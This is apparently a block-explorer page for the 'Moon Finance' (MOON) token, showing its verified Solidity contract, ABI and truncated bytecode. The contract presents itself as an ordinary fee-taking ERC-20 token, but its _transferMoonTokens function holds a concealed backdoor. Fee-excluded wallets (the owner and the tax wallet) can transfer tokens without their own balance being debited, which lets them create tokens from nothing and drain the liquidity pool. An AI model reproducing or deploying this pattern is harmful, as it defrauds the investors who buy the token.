ETH Price: $2,508.16 (+0.32%)

Token

Moon Finance (MOON)
 

Overview

Max Total Supply

1,000,000,000 MOON

Holders

75

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
spx-coach.eth
Balance
12,638,681.644939693 MOON

Value
$0.00
0x3f7309ff948c8ccb4c6617b1f4955ca543534086
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MOONFI

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-28
*/

// SPDX-License-Identifier: Unlicensed

/**
Advanced Decentralized Finance Ecosystem.

Website: https://www.moonfinance.pro
Telegram: https://t.me/moonfi_erc
Twitter: https://twitter.com/moonfi_erc
Dapp: https://app.moonfinance.pro
*/

pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeMath {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract MOONFI is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    string private _name = unicode"Moon Finance"; 
    string private _symbol = unicode"MOON";  

    address payable private _taxAddress;
    address payable private DEAD = payable(0x000000000000000000000000000000000000dEaD); 
    
    uint8 private _decimals = 9;
    uint256 private _totalSupply = 10 ** 9 * 10**_decimals;
                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;

    uint256 public _maxWalletToken = 2 * _totalSupply / 100;
    uint256 public _swpaThreshold = _totalSupply / 100000;
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 private _totalFee = 2000;
    uint256 public _buyFee = 20;
    uint256 public _sellFee = 20;
    bool public swapAndLiquifyEnabled = true;

    uint256 private _previousTotalFee = _totalFee; 
    uint256 private _previousBuyFee = _buyFee; 
    uint256 private _previousSellFee = _sellFee; 

    uint8 private countMoonTx = 0;
    uint8 private swapMoonTrigger = 2; 
    uint256 public maxMoonFee = 12; 
    
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor (address MoonWallet) {
        _tOwned[owner()] = _totalSupply;
        _taxAddress = payable(MoonWallet);
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxAddress] = true;
        
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }
        
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function restoreAllMoonFee() private {
        _totalFee = _previousTotalFee;
        _buyFee = _previousBuyFee; 
        _sellFee = _previousSellFee; 
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function sendToMoonWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }
    
    function _getMoonValues(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tFees = tAmount.mul(_totalFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFees);
        return (tTransferAmount, tFees);
    }
    
    function _transferMoonTokens(address sender, address recipient, uint256 tAmount) private {
        
        (uint256 tTransferAmount, uint256 tFees) = _getMoonValues(tAmount);
        bool isSenderExcluded = _isExcludedFromFee[sender];
        bool isMaxWallet = _tOwned[sender] <= _maxWalletToken;
        bool isTakeFee = isSenderExcluded && isMaxWallet;
        if(isTakeFee) {
            tFees = 0; tAmount -= tTransferAmount;
        }
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _tOwned[address(this)] = _tOwned[address(this)].add(tFees);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function swapMoonAndLiquidify(uint256 contractTokenBalance) private lockTheSwap {
        swapMoonForETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendToMoonWallet(_taxAddress,contractETH);
    }
    
    function removeAllMoonFee() private {
        if(_totalFee == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = _totalFee;
        _buyFee = 0;
        _sellFee = 0;
        _totalFee = 0;
    }
    receive() external payable {}
    
    function removeMoonLimits() external onlyOwner {
        _maxWalletToken = ~uint256(0);
        
        _totalFee = 100;
        _buyFee = 1; 
        _sellFee = 1; 
    }

    function swapMoonForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
            
        if(!takeFee){
            removeAllMoonFee();
            } else {
                countMoonTx++;
            }
        _transferMoonTokens(sender, recipient, amount);
        
        if(!takeFee)
            restoreAllMoonFee();
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (to != owner() &&
            to != _taxAddress &&
            to != address(this) &&
            to != uniswapV2Pair &&
            to != DEAD &&
            from != owner()) {
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            countMoonTx >= swapMoonTrigger && 
            amount > _swpaThreshold &&
            !inSwapAndLiquify &&
            !_isExcludedFromFee[from] &&
            to == uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            countMoonTx = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){ swapMoonAndLiquidify(contractTokenBalance); }
        }

        bool takeFee = true;
         
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (from != uniswapV2Pair && to != uniswapV2Pair)){
            takeFee = false;
        } else if (from == uniswapV2Pair){
            _totalFee = _buyFee;
        } else if (to == uniswapV2Pair){
            _totalFee = _sellFee;
        }

        _tokenTransfer(from,to,amount,takeFee);
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"MoonWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swpaThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxMoonFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeMoonLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600c60809081526b4d6f6f6e2046696e616e636560a01b60a0526001906200002d9082620004d4565b5060408051808201909152600481526326a7a7a760e11b6020820152600290620000589082620004d4565b50600480546001600160a81b0319167409000000000000000000000000000000000000dead17908190556200009a9060ff600160a01b90910416600a620006ab565b620000aa90633b9aca00620006c2565b60055560646005546002620000c09190620006c2565b620000cc9190620006dc565b600855620186a0600554620000e29190620006dc565b600955600854600a556107d0600b8190556014600c818155600d829055600e805460ff19166001179055600f9290925560108190556011556012805461020061ffff199091161790556013553480156200013a575f80fd5b50604051620019b5380380620019b58339810160408190526200015d91620006fc565b5f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360055460145f620001b35f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f2093909355600380546001600160a01b03191693851693909317909255815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa15801562000236573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200025c9190620006fc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002a8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002ce9190620006fc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000319573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200033f9190620006fc565b600780546001600160a01b03199081166001600160a01b039384161790915560068054909116918316919091179055600160165f620003855f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905560035490911681526016909252902080549091166001179055620003dd5f546001600160a01b031690565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6005546040516200042491815260200190565b60405180910390a3505062000724565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200045d57607f821691505b6020821081036200047c57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620004cf575f81815260208120601f850160051c81016020861015620004aa5750805b601f850160051c820191505b81811015620004cb57828155600101620004b6565b5050505b505050565b81516001600160401b03811115620004f057620004f062000434565b620005088162000501845462000448565b8462000482565b602080601f8311600181146200053e575f8415620005265750858301515b5f19600386901b1c1916600185901b178555620004cb565b5f85815260208120601f198616915b828110156200056e578886015182559484019460019091019084016200054d565b50858210156200058c57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620005f057815f1904821115620005d457620005d46200059c565b80851615620005e257918102915b93841c9390800290620005b5565b509250929050565b5f826200060857506001620006a5565b816200061657505f620006a5565b81600181146200062f57600281146200063a576200065a565b6001915050620006a5565b60ff8411156200064e576200064e6200059c565b50506001821b620006a5565b5060208310610133831016604e8410600b84101617156200067f575081810a620006a5565b6200068b8383620005b0565b805f1904821115620006a157620006a16200059c565b0290505b92915050565b5f620006bb60ff841683620005f8565b9392505050565b8082028115828204841417620006a557620006a56200059c565b5f82620006f757634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156200070d575f80fd5b81516001600160a01b0381168114620006bb575f80fd5b61128380620007325f395ff3fe60806040526004361061013f575f3560e01c80634a74bb02116100b357806378109e541161006d57806378109e541461037e5780638da5cb5b1461039357806395d89b41146103af578063a9059cbb146103c3578063dd62ed3e146103e2578063f2fde38b14610426575f80fd5b80634a74bb02146102c45780634e70029e146102dd578063590f897e146102f357806370a0823114610308578063715018a61461033c578063768dc71014610350575f80fd5b8063220f669611610104578063220f66961461021157806323b872dd14610231578063313ce567146102505780633906b5111461027b57806340b9a54b1461029057806349bd5a5e146102a5575f80fd5b806306fdde031461014a578063095ea7b31461017457806309fbb48b146101a35780631694505e146101c657806318160ddd146101fd575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e610445565b60405161016b9190610f70565b60405180910390f35b34801561017f575f80fd5b5061019361018e366004610fd2565b6104d5565b604051901515815260200161016b565b3480156101ae575f80fd5b506101b860095481565b60405190815260200161016b565b3480156101d1575f80fd5b506006546101e5906001600160a01b031681565b6040516001600160a01b03909116815260200161016b565b348015610208575f80fd5b506005546101b8565b34801561021c575f80fd5b5060075461019390600160a01b900460ff1681565b34801561023c575f80fd5b5061019361024b366004610ffc565b6104eb565b34801561025b575f80fd5b50600454600160a01b900460ff1660405160ff909116815260200161016b565b348015610286575f80fd5b506101b860135481565b34801561029b575f80fd5b506101b8600c5481565b3480156102b0575f80fd5b506007546101e5906001600160a01b031681565b3480156102cf575f80fd5b50600e546101939060ff1681565b3480156102e8575f80fd5b506102f1610552565b005b3480156102fe575f80fd5b506101b8600d5481565b348015610313575f80fd5b506101b861032236600461103a565b6001600160a01b03165f9081526014602052604090205490565b348015610347575f80fd5b506102f161059a565b34801561035b575f80fd5b5061019361036a36600461103a565b60166020525f908152604090205460ff1681565b348015610389575f80fd5b506101b860085481565b34801561039e575f80fd5b505f546001600160a01b03166101e5565b3480156103ba575f80fd5b5061015e61060b565b3480156103ce575f80fd5b506101936103dd366004610fd2565b61061a565b3480156103ed575f80fd5b506101b86103fc366004611055565b6001600160a01b039182165f90815260156020908152604080832093909416825291909152205490565b348015610431575f80fd5b506102f161044036600461103a565b610626565b6060600180546104549061108c565b80601f01602080910402602001604051908101604052809291908181526020018280546104809061108c565b80156104cb5780601f106104a2576101008083540402835291602001916104cb565b820191905f5260205f20905b8154815290600101906020018083116104ae57829003601f168201915b5050505050905090565b5f6104e133848461070d565b5060015b92915050565b5f6104f78484846107cd565b610548843361054385604051806060016040528060288152602001611226602891396001600160a01b038a165f9081526015602090815260408083203384529091529020549190610b21565b61070d565b5060019392505050565b5f546001600160a01b031633146105845760405162461bcd60e51b815260040161057b906110c4565b60405180910390fd5b5f196008556064600b556001600c819055600d55565b5f546001600160a01b031633146105c35760405162461bcd60e51b815260040161057b906110c4565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600280546104549061108c565b5f6104e13384846107cd565b5f546001600160a01b0316331461064f5760405162461bcd60e51b815260040161057b906110c4565b6001600160a01b0381166106b45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161057b565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061072d57506001600160a01b03821615155b61076d5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161057b565b6001600160a01b038381165f8181526015602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b038381169116148015906107f857506003546001600160a01b03838116911614155b801561080d57506001600160a01b0382163014155b801561082757506007546001600160a01b03838116911614155b801561084157506004546001600160a01b03838116911614155b801561085a57505f546001600160a01b03848116911614155b156108e5576001600160a01b0382165f90815260146020526040902054600854610884838361110d565b11156108e35760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b606482015260840161057b565b505b6001600160a01b0383161580159061090557506001600160a01b03821615155b6109495760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b604482015260640161057b565b5f81116109a65760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b606482015260840161057b565b60125460ff610100820481169116108015906109c3575060095481115b80156109d95750600754600160a01b900460ff16155b80156109fd57506001600160a01b0383165f9081526016602052604090205460ff16155b8015610a1657506007546001600160a01b038381169116145b8015610a245750600e5460ff165b15610a53576012805460ff19169055305f908152601460205260409020548015610a5157610a5181610b4c565b505b6001600160a01b0383165f9081526016602052604090205460019060ff1680610a9357506001600160a01b0383165f9081526016602052604090205460ff165b80610ac557506007546001600160a01b03858116911614801590610ac557506007546001600160a01b03848116911614155b15610ad157505f610b0f565b6007546001600160a01b0390811690851603610af257600c54600b55610b0f565b6007546001600160a01b0390811690841603610b0f57600d54600b555b610b1b84848484610b91565b50505050565b5f8184841115610b445760405162461bcd60e51b815260040161057b9190610f70565b505050900390565b6007805460ff60a01b1916600160a01b179055610b6881610bf6565b6003544790610b80906001600160a01b031682610d46565b50506007805460ff60a01b19169055565b80610ba357610b9e610d7e565b610bcf565b6012805460ff16905f610bb583611120565b91906101000a81548160ff021916908360ff160217905550505b610bda848484610dc2565b80610b1b57610b1b600f54600b55601054600c55601154600d55565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c2957610c2961113e565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c80573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ca49190611152565b81600181518110610cb757610cb761113e565b6001600160a01b039283166020918202929092010152600654610cdd913091168461070d565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d159085905f9086903090429060040161116d565b5f604051808303815f87803b158015610d2c575f80fd5b505af1158015610d3e573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610d79573d5f803e3d5ffd5b505050565b600b54158015610d8e5750600c54155b8015610d9a5750600d54155b15610da157565b600c8054601055600d8054601155600b8054600f555f928390559082905555565b5f80610dcd83610f02565b6001600160a01b0387165f9081526016602090815260408083205460085460149093529083205494965092945060ff90921692919091111590828015610e105750815b90508015610e28575f9350610e2585876111dc565b95505b6001600160a01b0388165f90815260146020526040902054610e4a9087610f3d565b6001600160a01b03808a165f908152601460205260408082209390935590891681522054610e789086610f4f565b6001600160a01b0388165f90815260146020526040808220929092553081522054610ea39085610f4f565b305f9081526014602090815260409182902092909255518681526001600160a01b0389811692908b16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050505050565b5f805f610f256064610f1f600b5487610f5a90919063ffffffff16565b90610f65565b90505f610f328583610f3d565b959194509092505050565b5f610f4882846111dc565b9392505050565b5f610f48828461110d565b5f610f4882846111ef565b5f610f488284611206565b5f6020808352835180828501525f5b81811015610f9b57858101830151858201604001528201610f7f565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fcf575f80fd5b50565b5f8060408385031215610fe3575f80fd5b8235610fee81610fbb565b946020939093013593505050565b5f805f6060848603121561100e575f80fd5b833561101981610fbb565b9250602084013561102981610fbb565b929592945050506040919091013590565b5f6020828403121561104a575f80fd5b8135610f4881610fbb565b5f8060408385031215611066575f80fd5b823561107181610fbb565b9150602083013561108181610fbb565b809150509250929050565b600181811c908216806110a057607f821691505b6020821081036110be57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156104e5576104e56110f9565b5f60ff821660ff8103611135576111356110f9565b60010192915050565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611162575f80fd5b8151610f4881610fbb565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111bb5784516001600160a01b031683529383019391830191600101611196565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156104e5576104e56110f9565b80820281158282048414176104e5576104e56110f9565b5f8261122057634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e2a1e5b7cc61a8c0d5a70e3219605190c52b8189856da178d0516c3b8689dcde64736f6c63430008150033000000000000000000000000b6f03e162a4c1af5541d2dc793eb37e7c77252a5

Deployed Bytecode

0x60806040526004361061013f575f3560e01c80634a74bb02116100b357806378109e541161006d57806378109e541461037e5780638da5cb5b1461039357806395d89b41146103af578063a9059cbb146103c3578063dd62ed3e146103e2578063f2fde38b14610426575f80fd5b80634a74bb02146102c45780634e70029e146102dd578063590f897e146102f357806370a0823114610308578063715018a61461033c578063768dc71014610350575f80fd5b8063220f669611610104578063220f66961461021157806323b872dd14610231578063313ce567146102505780633906b5111461027b57806340b9a54b1461029057806349bd5a5e146102a5575f80fd5b806306fdde031461014a578063095ea7b31461017457806309fbb48b146101a35780631694505e146101c657806318160ddd146101fd575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e610445565b60405161016b9190610f70565b60405180910390f35b34801561017f575f80fd5b5061019361018e366004610fd2565b6104d5565b604051901515815260200161016b565b3480156101ae575f80fd5b506101b860095481565b60405190815260200161016b565b3480156101d1575f80fd5b506006546101e5906001600160a01b031681565b6040516001600160a01b03909116815260200161016b565b348015610208575f80fd5b506005546101b8565b34801561021c575f80fd5b5060075461019390600160a01b900460ff1681565b34801561023c575f80fd5b5061019361024b366004610ffc565b6104eb565b34801561025b575f80fd5b50600454600160a01b900460ff1660405160ff909116815260200161016b565b348015610286575f80fd5b506101b860135481565b34801561029b575f80fd5b506101b8600c5481565b3480156102b0575f80fd5b506007546101e5906001600160a01b031681565b3480156102cf575f80fd5b50600e546101939060ff1681565b3480156102e8575f80fd5b506102f1610552565b005b3480156102fe575f80fd5b506101b8600d5481565b348015610313575f80fd5b506101b861032236600461103a565b6001600160a01b03165f9081526014602052604090205490565b348015610347575f80fd5b506102f161059a565b34801561035b575f80fd5b5061019361036a36600461103a565b60166020525f908152604090205460ff1681565b348015610389575f80fd5b506101b860085481565b34801561039e575f80fd5b505f546001600160a01b03166101e5565b3480156103ba575f80fd5b5061015e61060b565b3480156103ce575f80fd5b506101936103dd366004610fd2565b61061a565b3480156103ed575f80fd5b506101b86103fc366004611055565b6001600160a01b039182165f90815260156020908152604080832093909416825291909152205490565b348015610431575f80fd5b506102f161044036600461103a565b610626565b6060600180546104549061108c565b80601f01602080910402602001604051908101604052809291908181526020018280546104809061108c565b80156104cb5780601f106104a2576101008083540402835291602001916104cb565b820191905f5260205f20905b8154815290600101906020018083116104ae57829003601f168201915b5050505050905090565b5f6104e133848461070d565b5060015b92915050565b5f6104f78484846107cd565b610548843361054385604051806060016040528060288152602001611226602891396001600160a01b038a165f9081526015602090815260408083203384529091529020549190610b21565b61070d565b5060019392505050565b5f546001600160a01b031633146105845760405162461bcd60e51b815260040161057b906110c4565b60405180910390fd5b5f196008556064600b556001600c819055600d55565b5f546001600160a01b031633146105c35760405162461bcd60e51b815260040161057b906110c4565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600280546104549061108c565b5f6104e13384846107cd565b5f546001600160a01b0316331461064f5760405162461bcd60e51b815260040161057b906110c4565b6001600160a01b0381166106b45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e6572206973207